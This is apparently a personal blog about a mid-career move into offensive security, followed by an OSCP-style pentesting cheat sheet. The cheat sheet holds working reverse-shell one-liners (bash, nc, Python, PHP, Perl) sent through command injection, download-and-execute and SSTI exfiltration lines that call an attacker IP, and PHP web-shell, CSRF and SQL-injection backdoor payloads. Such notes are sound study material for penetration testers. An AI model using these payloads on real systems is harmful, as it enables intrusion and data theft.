I think I'm a well-rounded IT professional, knowing some sysadmin stuff, networking, scripting, and software development.

2. Application security

since I have decent software engineering experience, I think I would "only" need to pick up some infosec practices.

3. Exploit Development

although different from AppSec, I think I could do a decent job developing something - I like and know how to code after all. I would "only" need to pick up the other bits and pieces (e.g., reverse engineering and deep dive into OS/kernel internals).

4. Reversing Engineering

I don't think anyone is doing just that, so I'd combine it with Exploit Development (of course, I could be completely wrong).

5. Security Researching

well, I'd need to be good in all of the above, wouldn't I?

6. Red Teaming

just the fact that no two people can give me a concise definition means that either I'm asking the wrong people, or it is another role that requires knowledge and experience in all of the above.

Writing those two lists down already made me realize how little I know about this field. Also, I'm almost 100% sure there are many more areas and roles in offensive security which I don't know about, yet. It brings me to only one conclusion, if I'm serious about all this, I won't be able to do it on my own. I need to get some guidance and a decent education. Time to split the plan into two: upskill and transition. Let's start with the upskill plan.

Upskill Plan

How do I get up to speed with all offsec-related stuff? Quick Google search, and I see a few things:

  • Almost no one is considering getting a degree unless it is someone 17 years old who wants to get a degree anyway (and even then, people recommend them to get a regular CS degree and pivot later to infosec)
  • Certs in infosec are huge. I initially thought it was because maybe it was just cool to have them. But diving deeper into the subject, infosec is one of few disciplines where certifications are also significant for employers. I know what you're thinking: these are for the defensive side of infosec. I remember thinking that, but I could not be more wrong.

So, it looks like the certs are very important. In fact, in the offensive security field they are sometimes more critical than a relevant degree.

In the future, I will dive deep to understand why, and I think I have an answer (it will be in another post), but for now, let's go back to building the upskill plan.


There are many to choose from, but doing some research, you can divide them into a couple of categories:

  • easy, entry-level (e.g., eJPT or CEH)
  • advanced (e.g. eCPPT)
  • industry-standard, shiny "bling bling" - the stuff that people make a tattoo of on their back (e.g., OSCP) That tattoo thing is a joke, of course (or is it?), but you get the point.

Before I continue, a few words of caution. First, there are many more certification options, but you should probably google them and see what's best for you. Second, whatever I write next is subjective and applies to my situation only. I'm not saying that my approach was the best, what I'm saying is that it was the best for me. I will describe my thought process while choosing my first cert, and I hope it will help you make your own decision, too.

At this point, I'm still focused on learning as much as possible, not on what certifications to put on my CV. So, as you can imagine, I initially thought of signing up for the easiest one and climbing my way up to get the holy grail - OSCP. However, while I was researching about it, I noticed that all those certification bodies also offer very comprehensive study and training plans. It led me to shift my approach by 180°, and instead of looking at the certs in the order from the easiest, I turned the list upside down and started with the most extensive and difficult one. My only guideline was the list of prerequisites a student should meet before signing up.

So, since I knew I could afford it and met all prerequisites, I decided to go for OSCP. Of course, I had to make a leap of faith that the requirements were accurate and that the training materials were good enough to prepare and guide me from 0 to hero, but that was it. Next thing I know, I'm a Learn One subscriber at Offensive Security - OSCP baby! Although I signed up for it before deciding to shift to offensive security, I would do the same if I had to do it again.

I also hope that this training will give me an overall idea about what other offsec areas are out there and where to go next in terms of further education/certification. Ideally, it will enable me to kick off the transition phase by either slowly shifting internally within my organization, helping find a part-time internship, or even joining a Bug Bounty program.

To summarize, apart from all the research I've done on the subject, it looks like the actual first step I should make is to complete my OSCP, and I should also use this opportunity to answer the following questions as I go through it:

1. What different areas of offensive security are out there

2. Which one of them do I like the most

3. What are the roles associated with that particular area

4. What are the next steps in terms of upskilling in the area of my choice

5. What other relevant areas are worth exploring

That's pretty much the plan I have. Note that everything I discuss in this post is related to the upskill plan. The transition, however, is an entirely different story. I already know that it is not going to be easy and a change will have an impact on both my personal and professional life. So, I think that the best thing I can do is to look at it critically and approach it the same way as the upskill plan, hopefully with a little more knowledge about the industry. I will write about it in the future. For the time being, I'll focus on hacking the OSCP!

Mid-career Traisition to Infosec #0x01

If ten years ago you told me that in ten years I would be thinking of changing my career, I would say that you've no idea what you're talking about. After all, I've finally got into a place I've always dreamt of: a good and well-paid job in one of the world's top organizations in the space sector. Given that it took me a couple of years to get there, my mind was 100% set about it, and I was pretty sure I knew what I wanted to do until retirement.

Without getting into the details of why I decided to change (at least not at this time), I find myself writing this blog post ten years later. I think it is safe to say that the first lesson I've learned is to never say never.

But before I get into the subject of the 'mid-career transition to infosec' and tell you what my grand plan is, there are a couple of things I wanted to get out of the way.

First of all, a quick disclaimer - I haven't transitioned yet. In fact, it's been only a few months since I've decided and painted my new target, and only now I'm finally starting to have an idea (although still in an early draft) of what the transition plan will look like.

On the other hand, it's not like I'm starting just now. I'm halfway through my OSCP (which I will describe in future posts), and this post series (or at least the first couple of posts) is written partially based on the experience I have already gained.

Another thing I want to mention upfront is that I'm going to skip a few initial steps of this adventure. Those are: why did I choose infosec (offensive security in particular), what was my thought process there, what else was I considering, etc.; that's because it doesn't bring much to this conversation and, since it's a longer story to tell, I think it deserves a dedicated post.

Writing a blog is one of the steps on my transition plan and there are several reasons for that. For one, writing things down helps visualize them and I think that visualizing your goal is one of the most critical steps in achieving it. Second, it makes me go through my plan multiple times and forces me to think about whether it makes sense, what else I should think of doing, and what I should avoid doing. Future posts will summarize my progress in this endeavor, which should help me stay in check and give me yet another opportunity to review the next steps and the overall direction I'm going towards. I will approach it more like a diary where I can put my thoughts as I progress. I also don't think I will publish it immediately, but only once I make an actual progress, feel more confident that I can achieve my goals and see that what I do actually works.

So far in my journey I haven't encountered many people who have done what I'm trying to do, but that doesn't mean there are none. Although most of the stories you hear are about getting into infosec straight after university, I'm sure many people are trying (or would like) to switch their careers in their 30s or even later. If you are one of those folks, I hope this blog series will come in handy even if it doesn't provide a clear path through to reach your goal (everyone's way will look differently) - at least you know that you're not alone (and if you reach out, I will know I'm not alone either).

Lastly, one of the things I've learned about pentesting over the last few months is that there's this rule which says, "If you didn't write it down, it didn't happened." Maybe it works the other way, too: "if I write it down, it will happen."

Penetration Testing

Target Approach

Depending on the type of engagement, its scope, and the target itself, there are different approaches one might take when conducting a Penetration Test. However, in most of the cases, typical Penetration Testing activities consist of a few common phases, listed below:

Each of the phases listed above are described separately and can be found in the corresponding subsections.


Recon is a set of Passive Information Gathering techniques. Its main goal is to find as much of information about the target as possible. Passive in this context means that the information can only be obtained by methods which don't require an active interaction with the target (other than a normal user would have).


Forward lookup brute force

Here's how to do it automatically using forward lookup brute force:


and then a one-liner in bash:

for ip in $(cat list.txt); do host $ip.<url>.com; done

A more comprehensive namelist can be found on Kali under /usr/share/seclists.

Reverse Lookup Brute Force

Check the IP ranges listed during the Forward Lookup and do the reverse:

for ip in $(seq 1 254); do host <ip>.$ip; done | grep -v "not found"

Attempt Zone Transfer

You can do it either manually:

host -l

Or via script:

if [ -z "$1" ]; then
	echo "[*] Simple Zone transfer script"
	echo "[*] Usage: $0 <domain name>"
	exit 0
for server in $(host -t ns $1 | cut -d " " -f4); do
	host -l $1 $server | grep "has address"



dnsrecon -d <domain-name> -t axfr
dnsrecon -d <domain-name> -D <namelist> -t brt


dnsenum <domain-name>




amass enum -brute -o <output-file> -d <domain-name> -v


cat <domain-list> | aquatone --ports xlarge

curl -s$1 | grep ">*.$1" | sed 's/<[/]*[TB][DR]>/\n/g' | grep -vE "<|^[\*]*[\.]*$1" | sort -u | awk 'NF'

Other steps to take during Recon

  • Google Dorking
  • Run recon-ng
  • Check the open-source code if available; e.g.: look for things like users, passwords, keys, tokens, etc
  • User Information Gathering:
  • Run SSL Server Test using sshlabs - alternative to
  • Search for target on pastebin. Note: Pastebin no longer has a search option, but a quick google dork resolves the issue: <target_url>
  • ANS Data
  • Search the Crunchbase for new acquisitions (ths could lead to finding new apex domains)
  • Run the target through
  • Run reverse WHOIS
  • Use kaeferjaeger for cloud resources
  • Check the development stack using builtwith
  • Ads and analytics - get the code from one page and search where else it is used


amass enum -brute -o <output-file> -d <domain-name> -v



Google Dorking

site:.<tld> ext:php
site:.<tld> inurl:'srcurl'
site:.<tld> intitle: ...
site:.<tld> intext: ...
site:.<tld> filetype: ...


karma -d <url> --limit -1 -deep


karma github


Module search:

marketplace search netcraft

Info about module:

marketplace info recon/domains-hosts/netcraft

Module installation:

marketplace install recon/domains-hosts/netcraft

Module loading:

modules load recon/domains-hosts/netcraft

Loaded Module info:


Set options:

options set SOURCE

Going back to main:


Show framework items:


Show hosts:

show hosts




Simple example:

thHarvester -d <domain> -b google

Vulnerability Scanning

Scanning with Nessus

Download and install the Nessus Essentials

Scanning with Nmap

sudo nmap --script=<category, e.g. vuln> <ip>


searchsploit <service-name> # service name could be 'apache'

Network Pentesting

Network Enumeration

Post Scanning


Simple scan

sudo nmap $IP --top-ports 10 --open

Full scan

# banner + simple scripts
sudo nmap -p- -sC -sV $IP --open --reason
# banner
sudo nmap -p- -sV $IP --open --reason
# just TCP if open
sudo nmap -p- -sT $IP --open --reason

UDP scan

sudo nmap -sU <ip>


Portmapper and RPCbind run on TCP port 111.

Scaning for NSF

Scan with nmap:

nmap -v -p 111 <ip>-254

Scan with NSE script like rpcinfo:

nmap -sV -p 111 --script=rpcinfo <ip>-254

Collecting details on NSF target

NSE scripts:

nmap -p 111 --script nfs* <ip>

Which might return something like this:

111/tcp open  rpcbind
| nfs-showmount:
|_  /home <ip>/

This means we can mount /home on our local host.

Mounting an NSF on your local machine

mkdir <new-dir>
sudo mount -o nolock <ip>:/home <new-dir>

Mounting with NFS version 3:

sudo mount -t nfs -o nolock,nfsvers=3 <ip>:/home <new-dir>

Things to do once you're in

Check the permissions. Try to get the user id and group of permissions, create a new user and change to match both ids. This should give you permission to those files.


Display the list of all registered RPC programs:

rpcinfo -p <ip>

Same as -p but more concise:

rpcinfo -s <ip>


Scanning for NetBIOS Service

It should be noted that SMB (TCP port 445) and NetBIOS are two separate protocols. NetBIOS is an independent session layer protocol and service that allows computers on a local network to communicate with each other. While modern implementations of SMB can work without NetBIOS, NetBIOS over TCP (NBT)211 is required for backward compatibility and is often enabled together.

TCP/UDP 139 nmap:

nmap -v -p 139,445 -oG smb.txt <ip>.1-254


sudo nbtscan -r <ip>/24

nmap with script:

nmap -v -p 139,445 --script=smb-os-discovery <ip>

Enumerate SMB content

sudo smbmap -H $IP


sudo mount -t cifs -o port=445 //$IP/<share> /mnt/<local_folder>


Windows Server 2016 no longer supports SMBv1. You need to update your SMB config on Kali to use version 2. Edit: /etc/samba/smb.conf adding this line:

min protocol = SMB2

and restart the process:

sudo /etc/init.d/smbd restart

Samba usage

smbclient -L //<ip>
smbclient //<ip>/<share>

# download all
smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *


Scanning for SMTP

Check if it is possible to connect to SMTP (port 25) and send VRFY command with a username to check if the user is valid.


nc -nv <ip> 25

# wait for SMTP banner and then type:

VRFY root # verify the yser
EXPN # for for a membership of a mailing list



import socket
import sys

if len(sys.argv) != 3:
    print("Usage: <ip> <username>")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((sys.argv[1], 25))

banner = s.recv(1024)


cmd = "VRFY {}\r\n".format(sys.argv[2]);
result = s.recv(1024)



Scanning for SNMP

With nmap:

sudo nmap -sU --open -p 161 -oG open-snmp.txt

With onesixtyone:

echo public > community
echo private >> community
echo manager >> community

for ip in $(seq 1 254); do echo <subnet>.$ip; done > ips

onesixtyone -c community -i ips

Windows Enumeration

Use snmpwalk.

Enumerate entire MIB:

snmpwalk -c public -v1 -t 10 <ip>

Enumerate Windows users:

snmpwalk -c public -v1 <ip>

Enumerate Windows processes:

snmpwalk -c public -v1 <ip>

Enumerate open TCP ports:

snmpwalk -c public -v1 <ip>

Enumerate installed software:

snmpwalk -c public -v1 <ip>


It is doubtful we will be able to exploit SSH without at least a list of usernames.

SSH version

nc -nv <ip> 22

Based on the SSH version we can google which OS it is installed on.

SSH Keys

When you try to SSH for the first time, you're asked if you want to accept the key fingerprint. Look out for those within the network as it might happen that you manage to put your hands on some ssh keys and use fingerprint to determin whether the same keys are used on other machines and accounts.

Try to ssh:

ssh root@<ip>

Example of an answer:

The authenticity of host '<ip> (<ip>)' can't be established.
ED25519 key fingerprint is SHA256:7S9+7ItI4yK4Nwm/2iwZIxfY9SeJdq6H2OI8vUUsrlI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '<ip>' (ED25519) to the list of known hosts.

SSH nmap scripts

nmap scripts are located here:

ls -ltra /usr/share/nmap/scripts/*ssh*

You can use one of them to (for instance) enumerate the ssh-hostkey:

nmap $IP -p 22 -sV --script=ssh-hostkey

Web Pentesting

Web Application Enumeration

Curl for headers

export URL=http://$IP
curl -I -v $URL 


# for files
export URL=http://$IP/FUZZ
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"

# for directories
export URL=http://$IP/FUZZ/
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"

# files with extensions
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/big.txt --hc 404 ""


gobuster dir -u http://<ip>/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -e

# -b - opposite to '-s'
# -t - number of threads

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u <domain> -t 50 --append-domain

Subdomain enumeration

gobuster dns -d <domain> -w <wordlist> -t 30


export URL=http://$IP/
nikto --host=$URL -C all


Enumerate HTTP

nmap -p 80 --script=http-methods $IP

Enumerate HTTP methods

nmap -p <port> --script=http-methods --script-args http-methods.url-path='<URI>' <ip>

Enumerate Wordpress with nmap

nmap -p <port> -sV --script=http-wordpress-enum <ip>

Useful NSE scripts


Other fuzzing

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt --hc 301,404,403 "<url>" 

gobuster dir --wordlist /usr/share/wordlists/dirb/common.txt --url <url> 

dirsearch -r -f -u <url> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -e php,aspx,jsp,html,txt,xml 

dirsearch -r -f -u <url> -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 -e php,aspx,jsp,html,txt,xml,pdf,zip 

dirsearch -r -f -u <url> -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -t 40 -e php,aspx,jsp,html,txt,xml,pdf,zip

Command Injections

Possible command separation on linux

;         - executing sequentialy
&&        - the second command will only run if the first is successful
||        - the second command will only run if the first is unsuccessful
|         - pipe, i.e. the output of first command is sent as input to the second command
\n (0x0A) - alternative to ';'

Some examples

  | ping -i 30 |  
  | ping -n 30 |  
  & ping -i 30  
  & ping -n 30  
  ; ping -i 30;  
  %0a ping -i 30 %0a  

Command inclusion in a statement, executed inline


Bypass with null character

$() - null character, e.g.: wh$()oami

Bypass with base64 encoding

echo "cat /etc/passwd" |base64


Command Injection with WFUZZ:

# note: refine this request with --hh based on the responses
wfuzz -c -z file,/home/kali/command_injection_custom.txt --hc 404 http://<url>/php/blocklisted.php?ip=

# identify capabilities on target machine
wfuzz -c -z file,/home/kali/capability_checks_custom.txt --hc 404 "http://<url>:80/php/index.php?ip=;which FUZZ"

wfuzz -c -z file,/usr/share/seclists/Fuzzing/command-injection-commix.txt -d "box=" --hc 404 ""

Blind Command Injection

# check how long it takes to execute baseline request and then repeat it with a sleep
time curl http://<url>:80/php/blind.php?ip=

time curl "http://<url>:80/php/blind.php?ip=;sleep%2020"

Revshell examples

Reverse Shell example with encoded URL

curl "http://<url>/nodejs/index.js?ip=|bash+-c+'bash+-i+>%26+/dev/tcp/>%261'"

Base64 encoded

# base64 encoded
# run:
echo "echo $(echo 'bash -i >& /dev/tcp/ 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'

# use the output


curl "http://<url>:80/nodejs/index.js?ip=|/bin/nc%20-nv%20192.168.45.225%209090%20-e%20/bin/bash"


curl "http://<url>/php/index.php?ip=;python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.49.51%22,9090));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);[%22/bin/sh%22,%22-i%22]);%27"

# but better to URL encode it all 
curl "http://<url>/php/index.php?ip="


http://<url>:80/nodejs/index.js?ip=|echo "require('child_process').exec('nc -nv 9090 -e /bin/bash')" > /var/tmp/offsec.js ; node /var/tmp/offsec.js


php -r '$sock=fsockopen("",9090);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",9090);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",9090);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",9090);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",9090);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

# example
http://<url>/php/index.php?ip=;php -r "system(\"bash -c 'bash -i >& /dev/tcp/ 0>&1'\");"

# URL-encoded example


perl -e 'use Socket;$i="";$p=9090;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# URL-encoded example

File Transfer

curl -o /var/tmp/nc ; chmod 755 /var/tmp/nc ; /var/tmp/nc -nv 9090 -e /bin/bash

# Example

Web Shell


# URL-encoded example

Cross-Origin Resource Sharing (CORS)

Before sending the actual cross-origin request, the browser makes a preflight request to the intended destination using the OPTIONS HTTP method to determine if the requesting domain may perform the requested action. E.g.:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin:                  - domain initiating the request
Access-Control-Request-Method: POST        - what method the browser will include in the request
Access-Control-Request-Headers: X-UserId   - what headers the browser will include in the request

Some cross-origin requests do not trigger a preflight request. These are known as simple requests which include standard GET, HEAD, and POST requests. However, other request methods, requests with custom HTTP headers, or POST requests with nonstandard content-types will require a preflight request.

Play with Origin header to bypass the allow list:

curl -X "OPTIONS" -i -H "Origin: http://fake<domain>.com" -k https://<url>/allowlist


Servers can set several headers to enable CORS. Let's review the most commonly encountered ones.

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 23 Jun 2021 17:38:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: - indicates which origins are allowed
Access-Control-Allow-Credentials: true    - indicates if the browser should include creds such a cookies or authorization headers
Access-Control-Allow-Headers: X-UserId

The Access-Control-Allow-Origin header indicates which origins are allowed to access resources from the server. A wildcard value (*) used in this header indicates any origin can access the resource. Generally, servers should only use this setting for resources that are considered publicly accessible. The header can also specify a single origin. If an application needs to allow multiple origins to access it, the application must contain logic to respond with the appropriate domain.

The Access-Control-Allow-Credentials header indicates if the browser should include credentials, such as cookies or authorization headers. The only valid value for this header is "true". Instead of setting a "false" value, servers can simply omit the header. A web application must set a non-wildcard value in the Access-Control-Allow-Origin header if it wishes to set Access-Control-Allow-Credentials to "true". However, the browser will enforce the SameSite attribute on any cookies that it would send cross-origin regardless of the destination's CORS settings. In other words, if the cookie has SameSite=Lax, the browser will not send it even if the preflight request indicates that the destination server allows credentials on CORS requests.

The Access-Control-Allow-Methods header indicates which HTTP methods cross-origin requests may use. The header value can contain one or more methods in a comma-separated list.

Similarly, the Access-Control-Allow-Headers header indicates which HTTP headers may be used on a cross-origin request. The header value can contain one or more header names in a comma-separated list. Browsers will consider some headers safe, such as Content-Type, and therefore, always use them in cross-origin requests. However, servers must use the Access-Control-Allow-Headers header to allow the authorization header or custom headers on CORS requests.


Access-Control-Allow-Origin : * does not allow Access-Control-Allow-Credentials to be set to true (Access-Control-Allow-Credentials : true), which means that there must be a custom solutions for handling multiple origin values.

Same-Origin Policy (SOP)

SOP does not prevent the request from being sent, but instead prevents the response from being read by the JavaScript.

However, there are exceptions. Some requests require an HTTP preflight request (sent with the OPTIONS method), which determines if the subsequent browser request should be allowed to be sent.

Standard GET, HEAD, and POST requests don't require preflight requests. However, other request methods, requests with custom HTTP headers, or POST requests with nonstandard content-types will require a preflight request.

URLRESULTREASON Origin Scheme and Port Domain**:8443**/filesBlockedDifferent Port Domain


SameSite=None     - send the cookie on any relevant request
SameSite=Lax      - don't send the cookie on cross-site requests (except for manually entered URLs)
SameSite=Strict   - only include cookie if the domain originating the request is the same as the cookie's domain

Cross-Site Request Forgery (CSRF)

CSRF called by an XSS


echo "PGh0bWw+Cjxib2R5IG9ubG9hZD0iZG9jdW1lbnQuZm9ybXNbJ3B3biddLnN1Ym1pdCgpIj4KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ii9sb2dpbkxvZ291dCIgYWNjZXB0LWNoYXJzZXQ9IlVURi04IiBuYW1lPSJwd24iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VybmFtZSIgdmFsdWU9Im9mZnNlYyIvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzd29yZCIgdmFsdWU9Im9mZnNlYyIvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaXJzdE5hbWUiIHZhbHVlPSJvZmZzZWMiLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibGFzdE5hbWUiIHZhbHVlPSJvZmZzZWMiLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZW1haWwiIHZhbHVlPSJvZmZzZWNAb2Zmc2VjdGVzdC5sb2NhbCIvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0iMTAwIi8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRUeXBlIiB2YWx1ZT0iaXNSZWdpc3RlciIvPgo8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo=" | base64 -d
<body onload="document.forms['pwn'].submit()">
<form method="POST" action="/loginLogout" accept-charset="UTF-8" name="pwn" enctype="multipart/form-data">
<input type="hidden" name="username" value="test"/>
<input type="hidden" name="password" value="test"/>
<input type="hidden" name="firstName" value="test"/>
<input type="hidden" name="lastName" value="test"/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="type" value="100"/>
<input type="hidden" name="dType" value="isRegister"/>

JS script

let d="PGh0bWw+Cjxib2R5IG9ubG9hZD0iZG9jdW1lbnQuZm9ybXNbJ3B3biddLnN1Ym1pdCgpIj4KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ii9sb2dpbkxvZ291dCIgYWNjZXB0LWNoYXJzZXQ9IlVURi04IiBuYW1lPSJwd24iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VybmFtZSIgdmFsdWU9Im9mZnNlYyIvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzd29yZCIgdmFsdWU9Im9mZnNlYyIvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaXJzdE5hbWUiIHZhbHVlPSJvZmZzZWMiLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibGFzdE5hbWUiIHZhbHVlPSJvZmZzZWMiLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZW1haWwiIHZhbHVlPSJvZmZzZWNAb2Zmc2VjdGVzdC5sb2NhbCIvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0iMTAwIi8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRUeXBlIiB2YWx1ZT0iaXNSZWdpc3RlciIvPgo8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo="
document.getElementsByTagName("html")[0].innerHTML = atob(d);

XSS call

<script src="http://<your-ip>/xss_script.js"></script>


wfuzz for IDOR example:

wfuzz -c -z file,/usr/share/seclists/Fuzzing/5-digits-00000-99999.txt --hc 404 --hh 2873 -H "Cookie: PHPSESSID=2a19139a5af3b1e99dd277cfee87bd64" http://<target-ip>/user/?uid=FUZZ

Local File Inclusion / Remote File Inclusion (LFI/RFI)


LFI means that we can include local file. We could inject the code into the server by contaminating the log files. Then loading the log file, our code would be executed.

This can be done with the netcat:

nc -nv <target_ip> 80

Once connected, send the php code:

<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

Expected output:

kali@kali:~$ nc -nv 80
(UNKNOWN) [] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
HTTP/1.1 400 Bad Request


Basically the same as LFI except the file location comes from an external URL.

PHP Wrappers

Instead of a url/path to a file, we can try to include PHP Wrappers, like so:,hello world

Here's how we can obtain the command execution using this method:

<vuln_url>/<vuln_path>?<vuln_param>=data:text/plain,<?php echo shell_exec("dir") ?>

e.g.:,<?php echo shell_exec("dir") ?>

Server-Side Request Forgery SSRF

Typical established ranges of private IP

IP address range 	Number of addresses 	        16,777,216 	    1,048,576 	    65,536

Internal Metadata for Cloud providers

Google Cloud:

File schema

# Linux

# Windows


curl gopher://

# GET via Gopher
curl gopher://

# POST via Gopher
curl gopher://

# note: this require double URL-encoding when using curl or Burp Suite
gopher://backend:80/_POST /login HTTP/1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded




Server-site Template Injection (SSTI)

Quick test

<%= 7*7 %>

Template identification

PHP (e.g. Twig)

{{5*'5'}}           - this will return 25 because PHP does not check the type of the variable
{{-some_variable-}} - this will trim the spaces around the some_variable value

Java (e.g. Freemarker)

${}                   - interpolation
${5*'5'}              - error since Java has strict types
<#if >                - if statements
<#list items as item> - loop

NodeJS (e.g. Pug)

#{}        - interpolation
<html_tag> - beginnig of every line
#{"7"*7}   - generates <49>

Python (e.g. Jinja by Flask)

{{5*"5"}} - this will result "55555"

Multiple languages (e.g. Mustache/Handlebars)

{{5*'5'}} - will issue a rendering error 


Example template

<h1><?php echo $name ?></h1>

<p>Welcome to our site!</p>

if ($isAdmin) {
  echo "<p>You are the supreme leader and we love you</p>";

RCE functions

# reduce
# example:
{{[0]|reduce('system','curl -o /tmp/revshell')}}
{{[0]|reduce('system','chmod +x /tmp/revshell')}}

# map

Blind SSTI exfil

{% set output %}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<your_ip>/?exfil=' ~ exfil)}}


Example template

01  <h1>Hello ${name}!</h1>
02  <#if name == "hacker">
03  The top reasons you're great:
04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>
07  </#if>

RCE functions



Example template

01   h1 Hello, #{name}
02   input(type='hidden' name='admin' value='true')
04   if showSecret
05     - secret = ['❤️','😍', '🤟']
06     p The secrets are: 
07     each val in secret
08       p #{val}
09   else
10    p No secret for you!

RCE functions

= require - this might not work

-var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

e.g. = require('child_process').spawnSync('cat', ['/root/flag.txt']).stdout


Example template

01	<h1>Hey {{ name }}</h1>
02	{% if reasons %}
03	Here are a couple of reasons why you are great:
04	<ul>
05	{% for r in reasons %}
06		<li>{{r}}</li>
07	{% endfor %}
08	</ul>
09	{% endif %}

Accessing config



{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}


Example template

<h1>Hello {{name}}</h1>
{{#if nicknames}}
Also known as:
  {{#each nicknames}}

SQL Injection (SQLi)


We begin by typing ' into all fields to see if we trigger an error.

Authentication Bypass


admin' or 1=1;#
admin' or 1=1 LIMIT 1;#

Data extraction - practical examples


  • columns have to be the same type

Reading version (MySQL/MariaDB) union all select 1, 2, @@version

Current DB user (MySQL/MariaDB) union all select 1, 2, user()

Reading schema (MySQL/MariaDB) union all select 1, 2, table_name from information_schema.tables

Describe user table (MySQL/MariaDB) union all select 1, 2, column_name from
information_schema.columns where table_name='users'

Read the user table (MySQL/MariaDB) union all select 1, username, password from users

Code Execution

Reading files union all select 1, 2,

Writing to file union all select 1, 2, "<?php echo
shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'


Make sure to test for Blind SQL Injection:

SQL Fuzzing

Using WFUZZ for SQL fuzzing

wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "db=mysql&id=FUZZ" -u http://sql-sandbox/api/intro


sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" --flush-session

sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" --dbms=mysql --dump --flush-session

Request from a file:

sqlmap -r req.txt -p id

PostgreSQL Enumeration

select version();

select current_user;

select datname from pg_database;

select table_name from app.information_schema.tables where table_schema = 'public';

select column_name, data_type from app.information_schema.columns where table_name = 'menu';

Oracle Enumeration

Oracle databases always include a table named DUAL. This table has one column named "DUMMY" and one row with value "X". When working with an Oracle database, and we need to select static values or data from functions, we can include from DUAL to create a syntactically-valid query.

Requires sys. before table names.

select * from v$version;

select user from dual;

select owner from all_tables group by owner;

select table_name from all_tables where owner = 'SYS' order by table_name;

select column_name, data_type from all_tab_columns where table_name = 'MENU';

MySQL Enumeration

select version();

select current_user();

select table_schema from information_schema.tables group by table_schema;

select table_name from information_schema.tables where table_schema = 'app';

select column_name, data_type from information_schema.columns where table_schema = 'app' and table_name = 'menu';

Microsoft SQL Server Enumeration

When using a SQL Server command line tool, we must submit our SQL statement ending with a semicolon followed by GO on a separate line. When working with the SQL Console, we can omit the GO.

Query must include database name and schema as part of the table name. For example,

